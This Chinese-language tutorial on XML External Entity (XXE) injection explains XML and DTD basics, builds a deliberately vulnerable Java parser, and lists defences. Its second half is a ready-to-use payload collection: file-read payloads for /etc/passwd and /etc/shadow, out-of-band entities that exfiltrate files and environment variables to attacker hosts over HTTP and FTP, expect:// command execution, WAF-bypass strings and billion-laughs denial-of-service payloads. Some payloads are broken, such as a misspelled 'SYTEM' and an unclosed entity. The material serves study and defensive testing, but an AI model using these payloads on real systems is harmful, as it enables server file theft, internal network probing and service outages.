XXE - 图1

简介

XXE(XML External Entity Injection)全称XML外部实体注入漏洞,既然是注入,说明也是执行了我们的恶意代码。
它产生的原因是:应用程序在解析XML内容时,没有禁止外部实体的加载,导致可加载恶意外部文件;因此如果XML内容可控,那么就可造成

  1. 文件读取
  2. 命令执行(难)
  3. 内网端口扫描
  4. 攻击内网网站
  5. 发起dos攻击

等危害。
XXE - 图2

XML基础

既然漏洞是由于解析XML引起的,那么不了解一下XML怎么行呢?
XML和HTML长得有点类似,都是基于标签的格式,但是HTML被设计用来显示数据,XML则被设计用来传输和存储数据

XML语法

  • XML 声明文件的可选部分,如果存在需要放在文档的第一行

    1. <?xml version="1.0" encoding="UTF-8" ?>
  • XML 必须包含根元素,它是所有其他元素的父元素,比如下面的userInfo元素

    1. <userInfo>
    2. <name>d4m1ts</name>
    3. <age>18</age>
    4. </userInfo>
  • 所有的 XML 元素都必须有一个关闭标签

    1. <p>paragraph</p> <!-- 后面的 </p> 不能省略 -->
  • XML 标签对大小写敏感。标签 <Letter> 与标签 <letter> 是不同的,必须使用相同的大小写来编写打开标签和关闭标签

  • 所有元素都必须彼此正确地嵌套

    1. <b><p>This text is bold and italic</b></p> <!-- 错误 -->
    2. <p><i>This text is bold and italic</i></p> <!-- 正确 -->
  • 属性都必须添加双引号,这点和HTML类似

    1. <p attr="加双引号">aa</p>
  • XML注释和HTML一样

    1. <!-- 我是注释 -->

    XML DTD

    DTD简介

    XML DTD(Document Type Definition)文档类型定义的作用是定义 XML 文档的合法构建模块,它使用一系列合法的元素来定义文档的结构

  • 内部DOCTYPE声明

    1. <!-- 语法 -->
    2. <!DOCTYPE root-element [element-declarations]>
    1. <?xml version="1.0" encoding="UTF-8" ?>
    2. <!DOCTYPE userInfo [
    3. <!ELEMENT userInfo (name,age)>
    4. <!ELEMENT name (#PCDATA)>
    5. <!ELEMENT age (#PCDATA)>
    6. ]>
    7. <userInfo>
    8. <name>d4m1ts</name>
    9. <age>18</age>
    10. </userInfo>
    • 以上 DTD 解释如下:
      • !DOCTYPE userInfo (第二行)定义此文档是 userInfo 类型的文档。
      • !ELEMENT userInfo (第三行)定义 userInfo 元素有两个元素:”name、age”
      • !ELEMENT name (第四行)定义 name 元素为 “#PCDATA” 类型
      • PCDATA 是会被解析器解析的文本,这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开
      • CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
  • 外部DOCTYPE声明
    1. <!DOCTYPE root-element SYSTEM "filename">
    1. ```xml
    2. <!-- XML文件 -->
    3. <?xml version="1.0"?>
    4. <!DOCTYPE note SYSTEM "note.dtd">
    5. <note>
    6. <to>Tove</to>
    7. <from>Jani</from>
    8. <heading>Reminder</heading>
    9. <body>Don't forget me this weekend!</body>
    10. </note>
    1. <!-- 包含 DTD 的 "note.dtd" 文件 -->
    2. <!ELEMENT note (to,from,heading,body)>
    3. <!ELEMENT to (#PCDATA)>
    4. <!ELEMENT from (#PCDATA)>
    5. <!ELEMENT heading (#PCDATA)>
    6. <!ELEMENT body (#PCDATA)>
    XXE - 图3

在XML中,有5个预定义的实体引用,这是为了防止在解析的时候,给我们输入的<当成标签来处理,导致异常

实体引用 字符
&lt; <
&gt; >
&amp; &
&quot;
&apos;

举例

  1. <message>if salary &lt; 1000 then</message>

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的**变量**

  • 一个内部实体声明

    1. <!-- 语法 -->
    2. <!ENTITY entity-name "entity-value">
    1. <?xml version="1.0" encoding="UTF-8" ?>
    2. <!DOCTYPE userInfo [
    3. <!ELEMENT userInfo (name,age)>
    4. <!ELEMENT name (#PCDATA)>
    5. <!ELEMENT age (#PCDATA)>
    6. <!ENTITY name "d4m1ts">
    7. ]>
    8. <userInfo>
    9. <name>&name;</name>
    10. <age>18</age>
    11. </userInfo>
  • 一个外部实体声明

    1. <!-- 语法 -->
    2. <!ENTITY entity-name SYSTEM "URI/URL">
    1. <!-- 不要求后缀一定是dtd,只要符合dtd文件格式即可 -->
    2. <!ENTITY name SYSTEM "http://baidu.com/test.dtd">

    漏洞环境搭建

    服务器解析XML出现问题,那漏洞环境就写一个可以解析XML内容的代码即可。这里我用Java中的SAXReader这个类的read()方法来触发

  • 依赖

    1. <!-- https://mvnrepository.com/artifact/org.dom4j/dom4j -->
    2. <dependency>
    3. <groupId>org.dom4j</groupId>
    4. <artifactId>dom4j</artifactId>
    5. <version>2.1.1</version>
    6. </dependency>
  • 漏洞代码

    1. import org.dom4j.Document;
    2. import org.dom4j.DocumentException;
    3. import org.dom4j.Element;
    4. import org.dom4j.io.SAXReader;
    5. import java.io.File;
    6. public class Main {
    7. public static void main(String[] args) throws DocumentException {
    8. SAXReader saxReader = new SAXReader();
    9. Document document = saxReader.read(new File("src/main/resources/test.xml"));
    10. Element rootElement = document.getRootElement();
    11. System.out.println(rootElement.element("name").getData());
    12. }
    13. }
  • test.xml

    1. <?xml version="1.0" encoding="UTF-8" ?>
    2. <!DOCTYPE userInfo [
    3. <!ELEMENT userInfo (name)>
    4. <!ELEMENT name (#PCDATA)>
    5. <!ENTITY name "d4m1ts">
    6. ]>
    7. <userInfo>
    8. <name>&name;</name>
    9. </userInfo>

    后续只需要修改test.xml中的内容即可

    XXE基础利用

    在上面加载外部实体声明的时候,可以注意到它的语法

    1. <!ENTITY entity-name SYSTEM "URI/URL">

    可以从一个URL加载DTD,当然按照非正常的思维,允许输入URL也就相当于允许输入其他类似http的协议的链接,比如fileftp这些,那这里岂不是至少就可能存在2个漏洞了

  1. SSRF
  2. 任意文件读取

各语言支持的协议如下:

LIBXML2 PHP JAVA .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

这里只介绍基础的带回显的利用方法,不带回显的可以参考下面的Payload

读取文件

读取/etc/passwd,这个明显是给file///etc/passwd的值赋值给name

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE userInfo [
  3. <!ELEMENT userInfo (name)>
  4. <!ELEMENT name (#PCDATA)>
  5. <!ENTITY name SYSTEM "file:///etc/passwd">
  6. ]>
  7. <userInfo>
  8. <name>&name;</name>
  9. </userInfo>

SSRF

简单的发起http请求,根据结果具体情况具体分析

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE userInfo [
  3. <!ELEMENT userInfo (name)>
  4. <!ELEMENT name (#PCDATA)>
  5. <!ENTITY name SYSTEM "http://baidu.aaaa">
  6. ]>
  7. <userInfo>
  8. <name>&name;</name>
  9. </userInfo>

执行系统命令

比较鸡肋,比较难利用,要在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能吧

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://id" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

拒绝服务攻击

递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "lol">
  4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. ]>
  13. <lolz>&lol9;</lolz>

XInclude攻击

一些情况下,我们可能无法控制整个XML文档,也就无法完全XXE,但是我们可以控制其中一部分,这个时候就可以使用XInclude
XInclude是XML规范的一部分,它允许从子文档构建XML文档。可以在XML文档中的任何数据值中放置XInclude Payload
要执行XInclude攻击,需要引用XInclude命名空间并提供要包含的文件的路径。例如:

  1. <foo xmlns:xi="http://www.w3.org/2001/XInclude">
  2. <xi:include parse="text" href="file:///etc/passwd"/></foo>

哪些地方可能存在XXE

  1. 允许上传XML文件的地方
  2. 允许上传Excel、Word、SVG等文件的地方(因为这些文件本质也是XML)
  3. 请求中Content-Type允许为application/xml的数据包(可以手动修改,比如将application/json中的json直接修改为xml)

总而言之一句话:所有能传能解析XML数据给服务端的地方,都可能存在XXE。

防御

1、使用开发语言提供的禁用外部实体的方法
不同的类可能设置方法也不一样,具体情况具体分析。
php:

  1. libxml_disable_entity_loader(true);

java:

  1. SAXReader saxReader = new SAXReader();
  2. saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Python:

  1. from lxml import etree
  2. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC
3、不允许XML中含有自己定义的DTD

Payload

Basic

Basic XML Example

  1. <!--?xml version="1.0" ?-->
  2. <userInfo>
  3. <firstName>John</firstName>
  4. <lastName>Doe</lastName>
  5. </userInfo>

Entity Example

  1. <!--?xml version="1.0" ?-->
  2. <!DOCTYPE replace [<!ENTITY example "Doe"> ]>
  3. <userInfo>
  4. <firstName>John</firstName>
  5. <lastName>&example;</lastName>
  6. </userInfo>

Inband Injection

Extract data from the server

  1. <?xml version="1.0"?>
  2. <!DOCTYPE data [
  3. <!ELEMENT data (#ANY)>
  4. <!ENTITY file SYSTEM "file:///etc/passwd">
  5. ]>
  6. <data>&file;</data>
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

XXE Base64 encoded

  1. <!DOCTYPE test [
  2. <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
  3. %init;
  4. ]>
  5. <foo/>

PHP Wrapper inside XXE

  1. <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
  2. <contacts>
  3. <contact>
  4. <name>Jean &xxe; Dupont</name>
  5. <phone>00 11 22 33 44</phone>
  6. <adress>42 rue du CTF</adress>
  7. <zipcode>75000</zipcode>
  8. <city>Paris</city>
  9. </contact>
  10. </contacts>
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://attacker.com/file.php" >
  5. ]>
  6. <foo>&xxe;</foo>

OOB Injection

Vanilla, used to verify outbound xxe or blind xxe

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE r [
  3. <!ELEMENT r ANY >
  4. <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
  5. ]>
  6. <r>&sp;</r>

OoB extraction1

  1. <?xml version="1.0" ?>
  2. <!DOCTYPE r [
  3. <!ELEMENT r ANY >
  4. <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
  5. %sp;
  6. %param1;
  7. ]>
  8. <r>&exfil;</r>
  • 外部实体

    1. <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    2. <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    OoB variation of above (seems to work better against .NET)

    1. <?xml version="1.0" ?>
    2. <!DOCTYPE r [
    3. <!ELEMENT r ANY >
    4. <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
    5. %sp;
    6. %param1;
    7. %exfil;
    8. ]>
  • 外部实体

    1. <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
    2. <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

    OoB extraction2

    1. <?xml version="1.0"?>
    2. <!DOCTYPE r [
    3. <!ENTITY % data3 SYSTEM "file:///etc/shadow">
    4. <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
    5. %sp;
    6. %param3;
    7. %exfil;
    8. ]>
  • External dtd

    1. <!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

    OoB extra ERROR — Java

    1. <?xml version="1.0"?>
    2. <!DOCTYPE r [
    3. <!ENTITY % data3 SYSTEM "file:///etc/passwd">
    4. <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
    5. %sp;
    6. %param3;
    7. %exfil;
    8. ]>
    9. <r></r>
  • External dtd

    1. <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;

    OoB XXE Base64 — PHP

    1. <!DOCTYPE convert [
    2. <!ENTITY % remote SYSTEM "http://xx.xx.xx.xx:8080/config.dtd">
    3. %remote;%int;%send;
    4. ]>
    5. <!-- config.dtd的内容 -->
    6. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    7. <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xx.xx.xx.xx:8080/index.php?flag=%file;'>">

    OoB extra nice

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <!DOCTYPE root [
    3. <!ENTITY % start "<![CDATA[">
    4. <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
    5. <!ENTITY % end "]]>">
    6. <!ENTITY % dtd SYSTEM "http://evil/evil.xml">
    7. %dtd;
    8. ]>
    9. <root>&all;</root>
  • External dtd

    1. <!ENTITY all "%start;%stuff;%end;">

    File-not-found exception based extraction

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <!DOCTYPE test [
    3. <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
    4. %one;
    5. %two;
    6. %four;
    7. ]>
  • External dtd

    1. <!ENTITY % three SYSTEM "file:///etc/passwd">
    2. <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
    3. <!-- you might need to encode this % (depends on your target) as: &#x25; -->

    FTP

    1. <?xml version="1.0" ?>
    2. <!DOCTYPE a [
    3. <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
    4. %asd;
    5. %c;
    6. ]>
    7. <a>&rrr;</a>
  • External dtd

    1. <!ENTITY % d SYSTEM "file:///proc/self/environ">
    2. <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

    Inside SOAP body

    1. <soap:Body>
    2. <foo>
    3. <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
    4. </foo>
    5. </soap:Body>

    XXE inside SVG

    1. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    2. <image xlink:href="expect://ls"></image>
    3. </svg>

    Untested - WAF Bypass

    1. <!DOCTYPE :. SYTEM "http://"
    2. <!DOCTYPE :_-_: SYTEM "http://"
    3. <!DOCTYPE {0xdfbf} SYSTEM "http://"

    DOS

    包括一个随机的文件

    1. <!ENTITY xxe SYSTEM "file:///dev/random" >]>

    Billion Laugh Attack - Denial Of Service

    1. <!--?xml version="1.0" ?-->
    2. <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
    3. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
    4. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    12. <tag>&lol9;</tag>

    参考文章

  • 从XML相关一步一步到XXE漏洞

  • xxe
  • XML External Entity (XXE) Injection Payload List
  • XXE_payloads